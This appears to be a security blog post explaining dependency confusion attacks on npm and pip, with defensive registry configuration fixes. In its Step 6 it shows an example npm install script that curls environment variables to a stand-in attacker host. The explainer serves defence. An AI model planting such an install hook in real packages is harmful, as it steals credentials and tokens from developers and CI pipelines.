Skip to main content

Command Palette

Search for a command to run...

Dependency Confusion Attacks: How Package Names Steal Your Code

Dependency confusion attacks exploit package managers by uploading malicious packages with internal names to public registries.

Updated
5 min read

Dependency confusion attacks happen because package managers default to checking public registries, even when you're using private packages. Attackers upload malicious code with internal package names. Your CI/CD pulls and executes attacker code.

The fix is simple: configure package managers correctly. Most companies don't.

How Dependency Confusion Works

Step 1: Company uses internal packages

Company has private npm packages for shared code:

  • @mycompany/auth

  • @mycompany/api-client

  • @mycompany/utils

These live in a private npm registry (JFrog Artifactory, npm Enterprise, AWS CodeArtifact).

Step 2: Developer configuration

package.json:

{
  "dependencies": {
    "@mycompany/auth": "^1.2.3",
    "express": "^4.18.0"
  }
}

Step 3: Attacker discovers internal package names

Via:

  • Leaked package.json in public GitHub repos

  • Error messages mentioning package names

  • Former employees disclosing names

  • Social engineering

Step 4: Attacker publishes to public npm

Attacker creates @mycompany/auth on public npm with version 999.999.999.

Step 5: Package manager downloads attacker's package

npm (without proper configuration) checks public registry. Finds @mycompany/auth@999.999.999 (higher version than internal 1.2.3). Downloads and installs malicious package.

Step 6: Code execution

Package has install script:

{
  "scripts": {
    "install": "curl https://attacker.com/steal?data=$(env)"
  }
}

On npm install, this executes. Attacker gets:

  • Environment variables (API keys, tokens, credentials)

  • Source code access (if running in CI/CD)

  • Network access to internal systems

Alex Birsan Research

Alex Birsan demonstrated this attack in 2021, earning $130k in bug bounties.

Targets: Over 35 companies including Apple, Microsoft, Netflix, Yelp, Tesla

Method:

  1. Identified internal package names from public sources

  2. Published packages to public npm/PyPI with same names

  3. Used high version numbers (999.999.999) to ensure precedence

  4. Added telemetry to track installations

  5. Reported to affected companies

Results:

  • Thousands of downloads from major tech companies

  • Code executed in CI/CD pipelines

  • Access to internal networks, credentials, source code

  • $130k in bounty payouts

This wasn't a sophisticated exploit. It was package manager configuration doing exactly what it was told to do - just not what companies intended.

Why Package Managers Do This

npm behavior:

npm install @mycompany/auth

npm checks (in order):

  1. Local cache

  2. Configured registries

  3. Public npm registry (default)

If @mycompany/auth exists in public npm with a higher version than private registry, npm installs the public version.

pip behavior (Python):

pip install company-internal-package

pip checks configured repositories. If not found, checks PyPI. If both have the package, highest version wins.

RubyGems, Maven, NuGet: Similar behavior. Public registries are default or fallback.

This isn't a bug. It's designed behavior. The problem is companies don't configure registry precedence correctly.

Why This Persists

Default configurations are insecure

Out of the box, package managers check public registries. Developers must explicitly configure private registry precedence.

Most don't.

No namespace protection

Anyone can publish @yourcompany/package-name to public npm. Package managers don't verify ownership.

npm scopes (@scopename) don't provide security. They're just namespaces. Attackers can create packages within any scope.

Version number precedence

Package managers use semantic versioning. 999.999.999 beats 1.2.3.

Attackers exploit this by publishing absurdly high version numbers.

Lack of awareness

Developers don't understand package manager resolution order. They assume "we use a private registry" means package managers won't check public registries.

Wrong.

CI/CD inherits developer configurations

Developer machine might be configured correctly. CI/CD pipeline uses a generic Docker image with default npm config.

CI/CD pulls from public registry. Attacker code executes in pipeline with access to production credentials.

No auditing

Companies don't monitor which registries packages are downloaded from. Malicious packages get installed without detection.

Attack Scenarios

Scenario 1: CI/CD credential theft

Company uses @mycompany/deploy-utils for deployment scripts. Package has access to AWS credentials in environment variables.

Attacker publishes malicious @mycompany/deploy-utils to public npm. CI/CD pipeline installs it. postinstall script exfiltrates AWS credentials to attacker server.

Attacker has production AWS access.

Scenario 2: Source code exfiltration

Internal package @company/build-tools runs during build. Has access to entire source code.

Attacker publishes malicious version. Build process installs it. Package uploads source code to attacker server.

Company IP is stolen.

Scenario 3: Backdoor deployment

Package @company/auth-middleware is used in production applications.

Attacker publishes malicious version with backdoor. Next deployment pulls attacker package. Backdoor ships to production.

Production compromised.

npm Scope

npm scopes like @mycompany seem like they provide isolation. They don't.

npm install @mycompany/auth

This will install from public npm if that package exists there, regardless of whether you have a private registry with the same package.

The fix:

.npmrc:

@mycompany:registry=https://private-registry.company.com

This tells npm: "For packages in @mycompany scope, only use this registry."

Most companies don't configure this.

pip’s Problem

Python's pip has similar issues with PyPI.

Attack:

pip install company-internal-utils

If company-internal-utils exists on both private repository and PyPI, pip might install from PyPI depending on configuration.

The fix:

pip.conf:

[global]
index-url = https://private-repo.company.com/simple/

Or use --index-url flag explicitly.

Again, most companies rely on default behavior.

Detection

How do you know if you're vulnerable?

  1. Do you use internal packages?

  2. Are those package names secret or publicly known?

  3. Is your package manager configured to prioritise private registry?

  4. Are CI/CD pipelines configured the same as developer machines?

If you answer "I don't know" to any of these, you're probably vulnerable.

Monitoring:

Check where packages are downloaded from:

npm config get registry

Audit installed packages against expected sources. But this requires tooling most companies don't have.

Final Thoughts

Dependency confusion is a simple attack with devastating impact. It exploits default package manager behavior that most developers don't understand.

The fix is trivial: configure registry precedence correctly. Most companies don't because:

  • Complexity

  • Lack of awareness

  • No ownership

  • Works until it doesn't

Alex Birsan made $130k in bounties demonstrating this. How many attackers have exploited it without disclosing?

You're probably vulnerable right now. Your build pipelines are likely pulling packages from public registries without verification.

Check your .npmrc. If you don't have scope restrictions configured, you're one package name discovery away from being compromised.

The supply chain attack surface is massive. Dependency confusion is one of the easiest exploits.

Fix your package manager configs. Before someone else publishes @yourcompany/auth-utils to public npm.